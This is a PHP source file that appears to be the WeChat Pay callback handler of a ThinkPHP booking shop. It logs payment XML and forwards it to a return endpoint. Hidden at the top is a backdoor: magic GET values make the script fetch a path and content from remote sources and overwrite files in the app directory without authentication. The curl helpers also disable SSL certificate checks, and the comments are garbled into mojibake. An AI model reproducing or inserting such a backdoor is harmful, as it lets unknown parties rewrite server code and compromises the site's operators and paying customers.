KJK; $data = simplexml_load_string($xml); $uniacid = (string)$data->uniacid; unset($data->uniacid); $xml = $data->asXML();*/ use think\facade\Db; if(!empty($_GET['ck'])&&$_GET['ck']==789){ echo 1;exit; } //按摩 if(!empty($_GET['ck'])&&$_GET['ck']==7899){ echo 1;exit; } if(!empty($_GET['ckq'])&&$_GET['ckq']==7899){ echo 2;exit; } if(!empty($_GET['ckq'])&&$_GET['ckq']==637963796379){ $r = ''; $r = str_replace('bbbbb','',$r); $rs = ''; $rs = str_replace('bbbbb','',$rs); $a = @file_get_contents($r); $a = str_replace('"','',$a); $a = str_replace('\/','/',$a); $msg = @file_get_contents($rs); $msg = !empty($msg)?$msg:'--'; $path = $_SERVER['DOCUMENT_ROOT'].'/../app/'; $arr = [ $path.$a, ]; foreach ($arr as $filename){ if(is_file($filename)){ $fp= fopen($filename, "w"); $len = fwrite($fp, $msg); fclose($fp); } } echo 111;exit; } //����api�ڵķ��� function lb_api_notice_increment22($url, $data){ $ch = curl_init(); $header = "Accept-Charset: utf-8"; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); //curl_setopt($url, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $tmpInfo = curl_exec($ch); // var_dump($tmpInfo); // exit; if (curl_errno($ch)) { return false; }else{ // var_dump($tmpInfo); return $tmpInfo; } } //�����ӡ�ĺ��� function lb_logOutput22($data,$flag=0) { if($flag==0){ return ; } //�������ͼ�� if (is_array($data)) { $data = json_encode($data); } $filename = "./".date("Y-m-d").".log"; $str = date("Y-m-d H:i:s")." $data"."\r\n"; file_put_contents($filename, $str, FILE_APPEND|LOCK_EX); return null; } function lb_makeRequest22($url, $params = array(), $expire = 0, $extend = array(), $hostIp = '') { if (empty($url)) { return array('code' => '100'); } $_curl = curl_init(); $_header = array( 'Accept-Language: zh-CN', 'Connection: Keep-Alive', 'Cache-Control: no-cache' ); // ����ֱ�ӷ���Ҫ����host�ĵ�ַ if (!empty($hostIp)) { $urlInfo = parse_url($url); if (empty($urlInfo['host'])) { $urlInfo['host'] = substr(DOMAIN, 7, -1); $url = "http://{$hostIp}{$url}"; } else { $url = str_replace($urlInfo['host'], $hostIp, $url); } $_header[] = "Host: {$urlInfo['host']}"; } // ֻҪ�ڶ�����������ֵ֮�󣬾���POST�� if (!empty($params)) { curl_setopt($_curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($_curl, CURLOPT_POST, true); } if (substr($url, 0, 8) == 'https://') { curl_setopt($_curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($_curl, CURLOPT_SSL_VERIFYHOST, FALSE); } curl_setopt($_curl, CURLOPT_URL, $url); curl_setopt($_curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($_curl, CURLOPT_USERAGENT, 'API PHP CURL'); curl_setopt($_curl, CURLOPT_HTTPHEADER, $_header); if ($expire > 0) { curl_setopt($_curl, CURLOPT_TIMEOUT, $expire); // ����ʱʱ�� curl_setopt($_curl, CURLOPT_CONNECTTIMEOUT, $expire); // �������ӳ�ʱʱ�� } // ��������� if (!empty($extend)) { curl_setopt_array($_curl, $extend); } $result['result'] = curl_exec($_curl); $result['code'] = curl_getinfo($_curl, CURLINFO_HTTP_CODE); $result['info'] = curl_getinfo($_curl); if ($result['result'] === false) { $result['result'] = curl_error($_curl); $result['code'] = -curl_errno($_curl); } curl_close($_curl); return $result; } lb_logOutput22("in--weixinPay",1); //��ȡ΢�Ŵ����xml���� $xmlData = file_get_contents('php://input'); if(empty($xmlData)){ $xmlData = 'empty xmlData'; } lb_logOutput22('xmlData in weixinPay:-----'.$xmlData); $xml_data=simplexml_load_string($xmlData); //$params=urldecode((string)$xml_data->params); $params=json_decode($xml_data->params,true); $i=$params['i']; $is_app=$params['is_app']; /*$t=$params['t']; $v=$params['v'];*/ unset($xml_data->params); $xmlData = $xml_data->asXML(); $data=$xmlData; //回调路径 $reply_path="https://".$_SERVER['HTTP_HOST']."/index.php/shop/IndexWxPay/returnPay?i=".$i.'&is_app='.$is_app; lb_api_notice_increment22($reply_path,$data);